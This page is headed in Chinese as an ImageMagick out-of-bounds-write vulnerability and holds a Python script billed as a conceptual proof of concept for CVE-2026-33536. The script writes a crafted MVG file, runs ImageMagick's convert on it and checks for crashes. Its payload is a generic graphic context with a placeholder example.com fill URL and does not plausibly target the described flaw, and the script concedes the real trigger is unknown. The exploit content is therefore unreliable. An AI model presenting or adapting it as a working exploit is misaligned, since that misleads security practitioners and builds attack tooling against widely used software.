CVE-2026-33536 ImageMagick越界写入漏洞

# PoC for CVE-2026-33536 (Conceptual) # This script attempts to trigger the out-of-bounds write vulnerability # by processing a crafted image file with a vulnerable ImageMagick version. import subprocess import os # Filename for the crafted payload payload_filename = "cve_2026_33536_poc.mvg" # Constructing a minimal MVG (Magick Vector Graphics) file # that may trigger the incorrect return value logic on specific platforms. # Note: Actual trigger structure depends on the specific platform and internal logic. payload_content = b""" push graphic-context viewbox 0 0 640 480 fill "url(https://example.com/triggers-logic)" pop graphic-context """ print(f"[*] Creating crafted payload file: {payload_filename}") with open(payload_filename, "wb") as f: f.write(payload_content.lstrip()) print(f"[*] Attempting to process payload with ImageMagick (convert)...") try: # Execute ImageMagick convert command # This attempts to parse the MVG file and render it result = subprocess.run( ["convert", payload_filename, "output.png"], capture_output=True, text=True, timeout=5 ) # Check if the process crashed (returned non-zero or stderr output) if result.returncode != 0: print(f"[!] Process exited with error code: {result.returncode}") print(f"[!] Stderr: {result.stderr}") else: print("[*] Payload processed without immediate crash (may require specific platform/config)") except subprocess.TimeoutExpired: print("[!] Process timed out - possible indication of hang or infinite loop") except FileNotFoundError: print("[!] 'convert' command not found. Please ensure ImageMagick is installed and in PATH.") except Exception as e: print(f"[!] An unexpected error occurred: {e}") finally: # Cleanup if os.path.exists(payload_filename): os.remove(payload_filename) if os.path.exists("output.png"): os.remove("output.png") print("[*] Cleanup completed.")